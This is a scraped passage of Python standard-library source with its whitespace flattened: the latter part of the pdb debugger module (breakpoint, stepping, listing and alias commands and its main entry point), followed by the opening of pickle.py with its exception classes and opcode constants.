self.parseline(line) if not cmd: return if cmd == 'silent': self.commands_silent[self.commands_bnum] = True return # continue to handle other cmd def in the cmd list elif cmd == 'end': self.cmdqueue = [] return 1 # end of cmd list cmdlist = self.commands[self.commands_bnum] if arg: cmdlist.append(cmd+' '+arg) else: cmdlist.append(cmd) # Determine if we must stop try: func = getattr(self, 'do_' + cmd) except AttributeError: func = self.default # one of the resuming commands if func.__name__ in self.commands_resuming: self.commands_doprompt[self.commands_bnum] = False self.cmdqueue = [] return 1 return # interface abstraction functions def message(self, msg): print(msg, file=self.stdout) def error(self, msg): print('**', msg, file=self.stdout) # Generic completion functions. Individual complete_foo methods can be # assigned below to one of these functions. def _complete_location(self, text, line, begidx, endidx): # Complete a file/module/function location for break/tbreak/clear. if line.strip().endswith((':', ',')): # Here comes a line number or a condition which we can't complete. return [] # First, try to find matching functions (i.e. expressions). try: ret = self._complete_expression(text, line, begidx, endidx) except Exception: ret = [] # Then, try to complete file names as well. globs = glob.glob(text + '') for fn in globs: if os.path.isdir(fn): ret.append(fn + '/') elif os.path.isfile(fn) and fn.lower().endswith(('.py', '.pyw')): ret.append(fn + ':') return ret def _complete_bpnumber(self, text, line, begidx, endidx): # Complete a breakpoint number. (This would be more helpful if we could # display additional info along with the completions, such as file/line # of the breakpoint.) return [str(i) for i, bp in enumerate(bdb.Breakpoint.bpbynumber) if bp is not None and str(i).startswith(text)] def _complete_expression(self, text, line, begidx, endidx): # Complete an arbitrary expression. if not self.curframe: return [] # Collect globals and locals. It is usually not really sensible to also # complete builtins, and they clutter the namespace quite heavily, so we # leave them out. ns = self.curframe.f_globals.copy() ns.update(self.curframe_locals) if '.' in text: # Walk an attribute chain up to the last part, similar to what # rlcompleter does. This will bail if any of the parts are not # simple attribute access, which is what we want. dotted = text.split('.') try: obj = ns[dotted[0]] for part in dotted[1:-1]: obj = getattr(obj, part) except (KeyError, AttributeError): return [] prefix = '.'.join(dotted[:-1]) + '.' return [prefix + n for n in dir(obj) if n.startswith(dotted[-1])] else: # Complete a simple name. return [n for n in ns.keys() if n.startswith(text)] # Command definitions, called by cmdloop() # The argument is the remaining string on the command line # Return true to exit from the command loop def do_commands(self, arg): """commands [bpnumber] (com) ... (com) end (Pdb) Specify a list of commands for breakpoint number bpnumber. The commands themselves are entered on the following lines. Type a line containing just 'end' to terminate the commands. The commands are executed when the breakpoint is hit. To remove all commands from a breakpoint, type commands and follow it immediately with end; that is, give no commands. With no bpnumber argument, commands refers to the last breakpoint set. You can use breakpoint commands to start your program up again. Simply use the continue command, or step, or any other command that resumes execution. Specifying any command resuming execution (currently continue, step, next, return, jump, quit and their abbreviations) terminates the command list (as if that command was immediately followed by end). This is because any time you resume execution (even with a simple next or step), you may encounter another breakpoint -- which could have its own command list, leading to ambiguities about which list to execute. If you use the 'silent' command in the command list, the usual message about stopping at a breakpoint is not printed. This may be desirable for breakpoints that are to print a specific message and then continue. If none of the other commands print anything, you will see no sign that the breakpoint was reached. """ if not arg: bnum = len(bdb.Breakpoint.bpbynumber) - 1 else: try: bnum = int(arg) except: self.error("Usage: commands [bnum]\n ...\n end") return self.commands_bnum = bnum # Save old definitions for the case of a keyboard interrupt. if bnum in self.commands: old_command_defs = (self.commands[bnum], self.commands_doprompt[bnum], self.commands_silent[bnum]) else: old_command_defs = None self.commands[bnum] = [] self.commands_doprompt[bnum] = True self.commands_silent[bnum] = False prompt_back = self.prompt self.prompt = '(com) ' self.commands_defining = True try: self.cmdloop() except KeyboardInterrupt: # Restore old definitions. if old_command_defs: self.commands[bnum] = old_command_defs[0] self.commands_doprompt[bnum] = old_command_defs[1] self.commands_silent[bnum] = old_command_defs[2] else: del self.commands[bnum] del self.commands_doprompt[bnum] del self.commands_silent[bnum] self.error('command definition aborted, old commands restored') finally: self.commands_defining = False self.prompt = prompt_back complete_commands = _complete_bpnumber def do_break(self, arg, temporary = 0): """b(reak) [ ([filename:]lineno \| function) [, condition] ] Without argument, list all breaks. With a line number argument, set a break at this line in the current file. With a function name, set a break at the first executable line of that function. If a second argument is present, it is a string specifying an expression which must evaluate to true before the breakpoint is honored. The line number may be prefixed with a filename and a colon, to specify a breakpoint in another file (probably one that hasn't been loaded yet). The file is searched for on sys.path; the .py suffix may be omitted. """ if not arg: if self.breaks: # There's at least one self.message("Num Type Disp Enb Where") for bp in bdb.Breakpoint.bpbynumber: if bp: self.message(bp.bpformat()) return # parse arguments; comma has lowest precedence # and cannot occur in filename filename = None lineno = None cond = None comma = arg.find(',') if comma > 0: # parse stuff after comma: "condition" cond = arg[comma+1:].lstrip() arg = arg[:comma].rstrip() # parse stuff before comma: [filename:]lineno \| function colon = arg.rfind(':') funcname = None if colon >= 0: filename = arg[:colon].rstrip() f = self.lookupmodule(filename) if not f: self.error('%r not found from sys.path' % filename) return else: filename = f arg = arg[colon+1:].lstrip() try: lineno = int(arg) except ValueError: self.error('Bad lineno: %s' % arg) return else: # no colon; can be lineno or function try: lineno = int(arg) except ValueError: try: func = eval(arg, self.curframe.f_globals, self.curframe_locals) except: func = arg try: if hasattr(func, '__func__'): func = func.__func__ code = func.__code__ #use co_name to identify the bkpt (function names #could be aliased, but co_name is invariant) funcname = code.co_name lineno = code.co_firstlineno filename = code.co_filename except: # last thing to try (ok, filename, ln) = self.lineinfo(arg) if not ok: self.error('The specified object %r is not a function ' 'or was not found along sys.path.' % arg) return funcname = ok # ok contains a function name lineno = int(ln) if not filename: filename = self.defaultFile() # Check for reasonable breakpoint line = self.checkline(filename, lineno) if line: # now set the break point err = self.set_break(filename, line, temporary, cond, funcname) if err: self.error(err) else: bp = self.get_breaks(filename, line)[-1] self.message("Breakpoint %d at %s:%d" % (bp.number, bp.file, bp.line)) # To be overridden in derived debuggers def defaultFile(self): """Produce a reasonable default.""" filename = self.curframe.f_code.co_filename if filename == '<string>' and self.mainpyfile: filename = self.mainpyfile return filename do_b = do_break complete_break = _complete_location complete_b = _complete_location def do_tbreak(self, arg): """tbreak [ ([filename:]lineno \| function) [, condition] ] Same arguments as break, but sets a temporary breakpoint: it is automatically deleted when first hit. """ self.do_break(arg, 1) complete_tbreak = _complete_location def lineinfo(self, identifier): failed = (None, None, None) # Input is identifier, may be in single quotes idstring = identifier.split("'") if len(idstring) == 1: # not in single quotes id = idstring[0].strip() elif len(idstring) == 3: # quoted id = idstring[1].strip() else: return failed if id == '': return failed parts = id.split('.') # Protection for derived debuggers if parts[0] == 'self': del parts[0] if len(parts) == 0: return failed # Best first guess at file to look at fname = self.defaultFile() if len(parts) == 1: item = parts[0] else: # More than one part. # First is module, second is method/class f = self.lookupmodule(parts[0]) if f: fname = f item = parts[1] answer = find_function(item, fname) return answer or failed def checkline(self, filename, lineno): """Check whether specified line seems to be executable. Return `lineno` if it is, 0 if not (e.g. a docstring, comment, blank line or EOF). Warning: testing is not comprehensive. """ # this method should be callable before starting debugging, so default # to "no globals" if there is no current frame globs = self.curframe.f_globals if hasattr(self, 'curframe') else None line = linecache.getline(filename, lineno, globs) if not line: self.message('End of file') return 0 line = line.strip() # Don't allow setting breakpoint at a blank line if (not line or (line[0] == '#') or (line[:3] == '"""') or line[:3] == "'''"): self.error('Blank or comment') return 0 return lineno def do_enable(self, arg): """enable bpnumber [bpnumber ...] Enables the breakpoints given as a space separated list of breakpoint numbers. """ args = arg.split() for i in args: try: bp = self.get_bpbynumber(i) except ValueError as err: self.error(err) else: bp.enable() self.message('Enabled %s' % bp) complete_enable = _complete_bpnumber def do_disable(self, arg): """disable bpnumber [bpnumber ...] Disables the breakpoints given as a space separated list of breakpoint numbers. Disabling a breakpoint means it cannot cause the program to stop execution, but unlike clearing a breakpoint, it remains in the list of breakpoints and can be (re-)enabled. """ args = arg.split() for i in args: try: bp = self.get_bpbynumber(i) except ValueError as err: self.error(err) else: bp.disable() self.message('Disabled %s' % bp) complete_disable = _complete_bpnumber def do_condition(self, arg): """condition bpnumber [condition] Set a new condition for the breakpoint, an expression which must evaluate to true before the breakpoint is honored. If condition is absent, any existing condition is removed; i.e., the breakpoint is made unconditional. """ args = arg.split(' ', 1) try: cond = args[1] except IndexError: cond = None try: bp = self.get_bpbynumber(args[0].strip()) except IndexError: self.error('Breakpoint number expected') except ValueError as err: self.error(err) else: bp.cond = cond if not cond: self.message('Breakpoint %d is now unconditional.' % bp.number) else: self.message('New condition set for breakpoint %d.' % bp.number) complete_condition = _complete_bpnumber def do_ignore(self, arg): """ignore bpnumber [count] Set the ignore count for the given breakpoint number. If count is omitted, the ignore count is set to 0. A breakpoint becomes active when the ignore count is zero. When non-zero, the count is decremented each time the breakpoint is reached and the breakpoint is not disabled and any associated condition evaluates to true. """ args = arg.split() try: count = int(args[1].strip()) except: count = 0 try: bp = self.get_bpbynumber(args[0].strip()) except IndexError: self.error('Breakpoint number expected') except ValueError as err: self.error(err) else: bp.ignore = count if count > 0: if count > 1: countstr = '%d crossings' % count else: countstr = '1 crossing' self.message('Will ignore next %s of breakpoint %d.' % (countstr, bp.number)) else: self.message('Will stop next time breakpoint %d is reached.' % bp.number) complete_ignore = _complete_bpnumber def do_clear(self, arg): """cl(ear) filename:lineno\ncl(ear) [bpnumber [bpnumber...]] With a space separated list of breakpoint numbers, clear those breakpoints. Without argument, clear all breaks (but first ask confirmation). With a filename:lineno argument, clear all breaks at that line in that file. """ if not arg: try: reply = input('Clear all breaks? ') except EOFError: reply = 'no' reply = reply.strip().lower() if reply in ('y', 'yes'): bplist = [bp for bp in bdb.Breakpoint.bpbynumber if bp] self.clear_all_breaks() for bp in bplist: self.message('Deleted %s' % bp) return if ':' in arg: # Make sure it works for "clear C:\foo\bar.py:12" i = arg.rfind(':') filename = arg[:i] arg = arg[i+1:] try: lineno = int(arg) except ValueError: err = "Invalid line number (%s)" % arg else: bplist = self.get_breaks(filename, lineno) err = self.clear_break(filename, lineno) if err: self.error(err) else: for bp in bplist: self.message('Deleted %s' % bp) return numberlist = arg.split() for i in numberlist: try: bp = self.get_bpbynumber(i) except ValueError as err: self.error(err) else: self.clear_bpbynumber(i) self.message('Deleted %s' % bp) do_cl = do_clear # 'c' is already an abbreviation for 'continue' complete_clear = _complete_location complete_cl = _complete_location def do_where(self, arg): """w(here) Print a stack trace, with the most recent frame at the bottom. An arrow indicates the "current frame", which determines the context of most commands. 'bt' is an alias for this command. """ self.print_stack_trace() do_w = do_where do_bt = do_where def _select_frame(self, number): assert 0 <= number < len(self.stack) self.curindex = number self.curframe = self.stack[self.curindex][0] self.curframe_locals = self.curframe.f_locals self.print_stack_entry(self.stack[self.curindex]) self.lineno = None def do_up(self, arg): """u(p) [count] Move the current frame count (default one) levels up in the stack trace (to an older frame). """ if self.curindex == 0: self.error('Oldest frame') return try: count = int(arg or 1) except ValueError: self.error('Invalid frame count (%s)' % arg) return if count < 0: newframe = 0 else: newframe = max(0, self.curindex - count) self._select_frame(newframe) do_u = do_up def do_down(self, arg): """d(own) [count] Move the current frame count (default one) levels down in the stack trace (to a newer frame). """ if self.curindex + 1 == len(self.stack): self.error('Newest frame') return try: count = int(arg or 1) except ValueError: self.error('Invalid frame count (%s)' % arg) return if count < 0: newframe = len(self.stack) - 1 else: newframe = min(len(self.stack) - 1, self.curindex + count) self._select_frame(newframe) do_d = do_down def do_until(self, arg): """unt(il) [lineno] Without argument, continue execution until the line with a number greater than the current one is reached. With a line number, continue execution until a line with a number greater or equal to that is reached. In both cases, also stop when the current frame returns. """ if arg: try: lineno = int(arg) except ValueError: self.error('Error in argument: %r' % arg) return if lineno <= self.curframe.f_lineno: self.error('"until" line number is smaller than current ' 'line number') return else: lineno = None self.set_until(self.curframe, lineno) return 1 do_unt = do_until def do_step(self, arg): """s(tep) Execute the current line, stop at the first possible occasion (either in a function that is called or in the current function). """ self.set_step() return 1 do_s = do_step def do_next(self, arg): """n(ext) Continue execution until the next line in the current function is reached or it returns. """ self.set_next(self.curframe) return 1 do_n = do_next def do_run(self, arg): """run [args...] Restart the debugged python program. If a string is supplied it is split with "shlex", and the result is used as the new sys.argv. History, breakpoints, actions and debugger options are preserved. "restart" is an alias for "run". """ if arg: import shlex argv0 = sys.argv[0:1] sys.argv = shlex.split(arg) sys.argv[:0] = argv0 # this is caught in the main debugger loop raise Restart do_restart = do_run def do_return(self, arg): """r(eturn) Continue execution until the current function returns. """ self.set_return(self.curframe) return 1 do_r = do_return def do_continue(self, arg): """c(ont(inue)) Continue execution, only stop when a breakpoint is encountered. """ if not self.nosigint: try: Pdb._previous_sigint_handler = \ signal.signal(signal.SIGINT, self.sigint_handler) except ValueError: # ValueError happens when do_continue() is invoked from # a non-main thread in which case we just continue without # SIGINT set. Would printing a message here (once) make # sense? pass self.set_continue() return 1 do_c = do_cont = do_continue def do_jump(self, arg): """j(ump) lineno Set the next line that will be executed. Only available in the bottom-most frame. This lets you jump back and execute code again, or jump forward to skip code that you don't want to run. It should be noted that not all jumps are allowed -- for instance it is not possible to jump into the middle of a for loop or out of a finally clause. """ if self.curindex + 1 != len(self.stack): self.error('You can only jump within the bottom frame') return try: arg = int(arg) except ValueError: self.error("The 'jump' command requires a line number") else: try: # Do the jump, fix up our copy of the stack, and display the # new position self.curframe.f_lineno = arg self.stack[self.curindex] = self.stack[self.curindex][0], arg self.print_stack_entry(self.stack[self.curindex]) except ValueError as e: self.error('Jump failed: %s' % e) do_j = do_jump def do_debug(self, arg): """debug code Enter a recursive debugger that steps through the code argument (which is an arbitrary expression or statement to be executed in the current environment). """ sys.settrace(None) globals = self.curframe.f_globals locals = self.curframe_locals p = Pdb(self.completekey, self.stdin, self.stdout) p.prompt = "(%s) " % self.prompt.strip() self.message("ENTERING RECURSIVE DEBUGGER") try: sys.call_tracing(p.run, (arg, globals, locals)) except Exception: exc_info = sys.exc_info()[:2] self.error(traceback.format_exception_only(exc_info)[-1].strip()) self.message("LEAVING RECURSIVE DEBUGGER") sys.settrace(self.trace_dispatch) self.lastcmd = p.lastcmd complete_debug = _complete_expression def do_quit(self, arg): """q(uit)\nexit Quit from the debugger. The program being executed is aborted. """ self._user_requested_quit = True self.set_quit() return 1 do_q = do_quit do_exit = do_quit def do_EOF(self, arg): """EOF Handles the receipt of EOF as a command. """ self.message('') self._user_requested_quit = True self.set_quit() return 1 def do_args(self, arg): """a(rgs) Print the argument list of the current function. """ co = self.curframe.f_code dict = self.curframe_locals n = co.co_argcount + co.co_kwonlyargcount if co.co_flags & inspect.CO_VARARGS: n = n+1 if co.co_flags & inspect.CO_VARKEYWORDS: n = n+1 for i in range(n): name = co.co_varnames[i] if name in dict: self.message('%s = %r' % (name, dict[name])) else: self.message('%s = undefined ' % (name,)) do_a = do_args def do_retval(self, arg): """retval Print the return value for the last return of a function. """ if '__return__' in self.curframe_locals: self.message(repr(self.curframe_locals['__return__'])) else: self.error('Not yet returned!') do_rv = do_retval def _getval(self, arg): try: return eval(arg, self.curframe.f_globals, self.curframe_locals) except: exc_info = sys.exc_info()[:2] self.error(traceback.format_exception_only(exc_info)[-1].strip()) raise def _getval_except(self, arg, frame=None): try: if frame is None: return eval(arg, self.curframe.f_globals, self.curframe_locals) else: return eval(arg, frame.f_globals, frame.f_locals) except: exc_info = sys.exc_info()[:2] err = traceback.format_exception_only(exc_info)[-1].strip() return _rstr('* raised %s *' % err) def do_p(self, arg): """p expression Print the value of the expression. """ try: self.message(repr(self._getval(arg))) except: pass def do_pp(self, arg): """pp expression Pretty-print the value of the expression. """ try: self.message(pprint.pformat(self._getval(arg))) except: pass complete_print = _complete_expression complete_p = _complete_expression complete_pp = _complete_expression def do_list(self, arg): """l(ist) [first [,last] \| .] List source code for the current file. Without arguments, list 11 lines around the current line or continue the previous listing. With . as argument, list 11 lines around the current line. With one argument, list 11 lines starting at that line. With two arguments, list the given range; if the second argument is less than the first, it is a count. The current line in the current frame is indicated by "->". If an exception is being debugged, the line where the exception was originally raised or propagated is indicated by ">>", if it differs from the current line. """ self.lastcmd = 'list' last = None if arg and arg != '.': try: if ',' in arg: first, last = arg.split(',') first = int(first.strip()) last = int(last.strip()) if last < first: # assume it's a count last = first + last else: first = int(arg.strip()) first = max(1, first - 5) except ValueError: self.error('Error in argument: %r' % arg) return elif self.lineno is None or arg == '.': first = max(1, self.curframe.f_lineno - 5) else: first = self.lineno + 1 if last is None: last = first + 10 filename = self.curframe.f_code.co_filename breaklist = self.get_file_breaks(filename) try: lines = linecache.getlines(filename, self.curframe.f_globals) self._print_lines(lines[first-1:last], first, breaklist, self.curframe) self.lineno = min(last, len(lines)) if len(lines) < last: self.message('[EOF]') except KeyboardInterrupt: pass do_l = do_list def do_longlist(self, arg): """longlist \| ll List the whole source code for the current function or frame. """ filename = self.curframe.f_code.co_filename breaklist = self.get_file_breaks(filename) try: lines, lineno = getsourcelines(self.curframe) except OSError as err: self.error(err) return self._print_lines(lines, lineno, breaklist, self.curframe) do_ll = do_longlist def do_source(self, arg): """source expression Try to get source code for the given object and display it. """ try: obj = self._getval(arg) except: return try: lines, lineno = getsourcelines(obj) except (OSError, TypeError) as err: self.error(err) return self._print_lines(lines, lineno) complete_source = _complete_expression def _print_lines(self, lines, start, breaks=(), frame=None): """Print a range of lines.""" if frame: current_lineno = frame.f_lineno exc_lineno = self.tb_lineno.get(frame, -1) else: current_lineno = exc_lineno = -1 for lineno, line in enumerate(lines, start): s = str(lineno).rjust(3) if len(s) < 4: s += ' ' if lineno in breaks: s += 'B' else: s += ' ' if lineno == current_lineno: s += '->' elif lineno == exc_lineno: s += '>>' self.message(s + '\t' + line.rstrip()) def do_whatis(self, arg): """whatis arg Print the type of the argument. """ try: value = self._getval(arg) except: # _getval() already printed the error return code = None # Is it a function? try: code = value.__code__ except Exception: pass if code: self.message('Function %s' % code.co_name) return # Is it an instance method? try: code = value.__func__.__code__ except Exception: pass if code: self.message('Method %s' % code.co_name) return # Is it a class? if value.__class__ is type: self.message('Class %s.%s' % (value.__module__, value.__qualname__)) return # None of the above... self.message(type(value)) complete_whatis = _complete_expression def do_display(self, arg): """display [expression] Display the value of the expression if it changed, each time execution stops in the current frame. Without expression, list all display expressions for the current frame. """ if not arg: self.message('Currently displaying:') for item in self.displaying.get(self.curframe, {}).items(): self.message('%s: %r' % item) else: val = self._getval_except(arg) self.displaying.setdefault(self.curframe, {})[arg] = val self.message('display %s: %r' % (arg, val)) complete_display = _complete_expression def do_undisplay(self, arg): """undisplay [expression] Do not display the expression any more in the current frame. Without expression, clear all display expressions for the current frame. """ if arg: try: del self.displaying.get(self.curframe, {})[arg] except KeyError: self.error('not displaying %s' % arg) else: self.displaying.pop(self.curframe, None) def complete_undisplay(self, text, line, begidx, endidx): return [e for e in self.displaying.get(self.curframe, {}) if e.startswith(text)] def do_interact(self, arg): """interact Start an interactive interpreter whose global namespace contains all the (global and local) names found in the current scope. """ ns = self.curframe.f_globals.copy() ns.update(self.curframe_locals) code.interact("interactive", local=ns) def do_alias(self, arg): """alias [name [command [parameter parameter ...] ]] Create an alias called 'name' that executes 'command'. The command must not* be enclosed in quotes. Replaceable parameters can be indicated by %1, %2, and so on, while %* is replaced by all the parameters. If no command is given, the current alias for name is shown. If no name is given, all aliases are listed. Aliases may be nested and can contain anything that can be legally typed at the pdb prompt. Note! You can override internal pdb commands with aliases! Those internal commands are then hidden until the alias is removed. Aliasing is recursively applied to the first word of the command line; all other words in the line are left alone. As an example, here are two useful aliases (especially when placed in the .pdbrc file): # Print instance variables (usage "pi classInst") alias pi for k in %1.__dict__.keys(): print("%1.",k,"=",%1.__dict__[k]) # Print instance variables in self alias ps pi self """ args = arg.split() if len(args) == 0: keys = sorted(self.aliases.keys()) for alias in keys: self.message("%s = %s" % (alias, self.aliases[alias])) return if args[0] in self.aliases and len(args) == 1: self.message("%s = %s" % (args[0], self.aliases[args[0]])) else: self.aliases[args[0]] = ' '.join(args[1:]) def do_unalias(self, arg): """unalias name Delete the specified alias. """ args = arg.split() if len(args) == 0: return if args[0] in self.aliases: del self.aliases[args[0]] def complete_unalias(self, text, line, begidx, endidx): return [a for a in self.aliases if a.startswith(text)] # List of all the commands making the program resume execution. commands_resuming = ['do_continue', 'do_step', 'do_next', 'do_return', 'do_quit', 'do_jump'] # Print a traceback starting at the top stack frame. # The most recently entered frame is printed last; # this is different from dbx and gdb, but consistent with # the Python interpreter's stack trace. # It is also consistent with the up/down commands (which are # compatible with dbx and gdb: up moves towards 'main()' # and down moves towards the most recent stack frame). def print_stack_trace(self): try: for frame_lineno in self.stack: self.print_stack_entry(frame_lineno) except KeyboardInterrupt: pass def print_stack_entry(self, frame_lineno, prompt_prefix=line_prefix): frame, lineno = frame_lineno if frame is self.curframe: prefix = '> ' else: prefix = ' ' self.message(prefix + self.format_stack_entry(frame_lineno, prompt_prefix)) # Provide help def do_help(self, arg): """h(elp) Without argument, print the list of available commands. With a command name as argument, print help about that command. "help pdb" shows the full pdb documentation. "help exec" gives help on the ! command. """ if not arg: return cmd.Cmd.do_help(self, arg) try: try: topic = getattr(self, 'help_' + arg) return topic() except AttributeError: command = getattr(self, 'do_' + arg) except AttributeError: self.error('No help for %r' % arg) else: if sys.flags.optimize >= 2: self.error('No help for %r; please do not run Python with -OO ' 'if you need command help' % arg) return self.message(command.__doc__.rstrip()) do_h = do_help def help_exec(self): """(!) statement Execute the (one-line) statement in the context of the current stack frame. The exclamation point can be omitted unless the first word of the statement resembles a debugger command. To assign to a global variable you must always prefix the command with a 'global' command, e.g.: (Pdb) global list_options; list_options = ['-l'] (Pdb) """ self.message((self.help_exec.__doc__ or '').strip()) def help_pdb(self): help() # other helper functions def lookupmodule(self, filename): """Helper function for break/clear parsing -- may be overridden. lookupmodule() translates (possibly incomplete) file or module name into an absolute file name. """ if os.path.isabs(filename) and os.path.exists(filename): return filename f = os.path.join(sys.path[0], filename) if os.path.exists(f) and self.canonic(f) == self.mainpyfile: return f root, ext = os.path.splitext(filename) if ext == '': filename = filename + '.py' if os.path.isabs(filename): return filename for dirname in sys.path: while os.path.islink(dirname): dirname = os.readlink(dirname) fullname = os.path.join(dirname, filename) if os.path.exists(fullname): return fullname return None def _runmodule(self, module_name): self._wait_for_mainpyfile = True self._user_requested_quit = False import runpy mod_name, mod_spec, code = runpy._get_module_details(module_name) self.mainpyfile = self.canonic(code.co_filename) import __main__ __main__.__dict__.clear() __main__.__dict__.update({ "__name__": "__main__", "__file__": self.mainpyfile, "__package__": mod_spec.parent, "__loader__": mod_spec.loader, "__spec__": mod_spec, "__builtins__": __builtins__, }) self.run(code) def _runscript(self, filename): # The script has to run in __main__ namespace (or imports from # __main__ will break). # # So we clear up the __main__ and set several special variables # (this gets rid of pdb's globals and cleans old variables on restarts). import __main__ __main__.__dict__.clear() __main__.__dict__.update({"__name__" : "__main__", "__file__" : filename, "__builtins__": __builtins__, }) # When bdb sets tracing, a number of call and line events happens # BEFORE debugger even reaches user's code (and the exact sequence of # events depends on python version). So we take special measures to # avoid stopping before we reach the main script (see user_line and # user_call for details). self._wait_for_mainpyfile = True self.mainpyfile = self.canonic(filename) self._user_requested_quit = False with open(filename, "rb") as fp: statement = "exec(compile(%r, %r, 'exec'))" % \ (fp.read(), self.mainpyfile) self.run(statement) # Collect all command help into docstring, if not run with -OO if __doc__ is not None: # unfortunately we can't guess this order from the class definition _help_order = [ 'help', 'where', 'down', 'up', 'break', 'tbreak', 'clear', 'disable', 'enable', 'ignore', 'condition', 'commands', 'step', 'next', 'until', 'jump', 'return', 'retval', 'run', 'continue', 'list', 'longlist', 'args', 'p', 'pp', 'whatis', 'source', 'display', 'undisplay', 'interact', 'alias', 'unalias', 'debug', 'quit', ] for _command in _help_order: __doc__ += getattr(Pdb, 'do_' + _command).__doc__.strip() + '\n\n' __doc__ += Pdb.help_exec.__doc__ del _help_order, _command # Simplified interface def run(statement, globals=None, locals=None): Pdb().run(statement, globals, locals) def runeval(expression, globals=None, locals=None): return Pdb().runeval(expression, globals, locals) def runctx(statement, globals, locals): # B/W compatibility run(statement, globals, locals) def runcall(args, kwds): return Pdb().runcall(args, *kwds) def set_trace(, header=None): pdb = Pdb() if header is not None: pdb.message(header) pdb.set_trace(sys._getframe().f_back) # Post-Mortem interface def post_mortem(t=None): # handling the default if t is None: # sys.exc_info() returns (type, value, traceback) if an exception is # being handled, otherwise it returns None t = sys.exc_info()[2] if t is None: raise ValueError("A valid traceback must be passed if no " "exception is being handled") p = Pdb() p.reset() p.interaction(None, t) def pm(): post_mortem(sys.last_traceback) # Main program for testing TESTCMD = 'import x; x.main()' def test(): run(TESTCMD) # print help def help(): import pydoc pydoc.pager(__doc__) _usage = """\ usage: pdb.py [-c command] ... [-m module \| pyfile] [arg] ... Debug the Python program given by pyfile. Alternatively, an executable module or package to debug can be specified using the -m switch. Initial commands are read from .pdbrc files in your home directory and in the current directory, if they exist. Commands supplied with -c are executed after commands from .pdbrc files. To let the script run until an exception occurs, use "-c continue". To let the script run up to a given line X in the debugged file, use "-c 'until X'".""" def main(): import getopt opts, args = getopt.getopt(sys.argv[1:], 'mhc:', ['help', 'command=']) if not args: print(_usage) sys.exit(2) commands = [] run_as_module = False for opt, optarg in opts: if opt in ['-h', '--help']: print(_usage) sys.exit() elif opt in ['-c', '--command']: commands.append(optarg) elif opt in ['-m']: run_as_module = True mainpyfile = args[0] # Get script filename if not run_as_module and not os.path.exists(mainpyfile): print('Error:', mainpyfile, 'does not exist') sys.exit(1) sys.argv[:] = args # Hide "pdb.py" and pdb options from argument list # Replace pdb's dir with script's dir in front of module search path. if not run_as_module: sys.path[0] = os.path.dirname(mainpyfile) # Note on saving/restoring sys.argv: it's a good idea when sys.argv was # modified by the script being debugged. It's a bad idea when it was # changed by the user from the command line. There is a "restart" command # which allows explicit specification of command line arguments. pdb = Pdb() pdb.rcLines.extend(commands) while True: try: if run_as_module: pdb._runmodule(mainpyfile) else: pdb._runscript(mainpyfile) if pdb._user_requested_quit: break print("The program finished and will be restarted") except Restart: print("Restarting", mainpyfile, "with arguments:") print("\t" + " ".join(args)) except SystemExit: # In most cases SystemExit does not warrant a post-mortem session. print("The program exited via sys.exit(). Exit status:", end=' ') print(sys.exc_info()[1]) except SyntaxError: traceback.print_exc() sys.exit(1) except: traceback.print_exc() print("Uncaught exception. Entering post mortem debugging") print("Running 'cont' or 'step' will restart the program") t = sys.exc_info()[2] pdb.interaction(None, t) print("Post mortem debugger finished. The " + mainpyfile + " will be restarted") # When invoked as main program, invoke the debugger on a script if __name__ == '__main__': import pdb pdb.main()	61.04 KB	2024-04-17 17:55
📄 pickle.py """Create portable serialized representations of Python objects. See module copyreg for a mechanism for registering custom picklers. See module pickletools source for extensive comments. Classes: Pickler Unpickler Functions: dump(object, file) dumps(object) -> string load(file) -> object loads(string) -> object Misc variables: __version__ format_version compatible_formats """ from types import FunctionType from copyreg import dispatch_table from copyreg import _extension_registry, _inverted_registry, _extension_cache from itertools import islice from functools import partial import sys from sys import maxsize from struct import pack, unpack import re import io import codecs import _compat_pickle __all__ = ["PickleError", "PicklingError", "UnpicklingError", "Pickler", "Unpickler", "dump", "dumps", "load", "loads"] # Shortcut for use in isinstance testing bytes_types = (bytes, bytearray) # These are purely informational; no code uses these. format_version = "4.0" # File format version we write compatible_formats = ["1.0", # Original protocol 0 "1.1", # Protocol 0 with INST added "1.2", # Original protocol 1 "1.3", # Protocol 1 with BINFLOAT added "2.0", # Protocol 2 "3.0", # Protocol 3 "4.0", # Protocol 4 ] # Old format versions we can read # This is the highest protocol number we know how to read. HIGHEST_PROTOCOL = 4 # The protocol we write by default. May be less than HIGHEST_PROTOCOL. # We intentionally write a protocol that Python 2.x cannot read; # there are too many issues with that. DEFAULT_PROTOCOL = 3 class PickleError(Exception): """A common base class for the other pickling exceptions.""" pass class PicklingError(PickleError): """This exception is raised when an unpicklable object is passed to the dump() method. """ pass class UnpicklingError(PickleError): """This exception is raised when there is a problem unpickling an object, such as a security violation. Note that other exceptions may also be raised during unpickling, including (but not necessarily limited to) AttributeError, EOFError, ImportError, and IndexError. """ pass # An instance of _Stop is raised by Unpickler.load_stop() in response to # the STOP opcode, passing the object that is the result of unpickling. class _Stop(Exception): def __init__(self, value): self.value = value # Jython has PyStringMap; it's a dict subclass with string keys try: from org.python.core import PyStringMap except ImportError: PyStringMap = None # Pickle opcodes. See pickletools.py for extensive docs. The listing # here is in kind-of alphabetical order of 1-character pickle code. # pickletools groups them by purpose. MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg 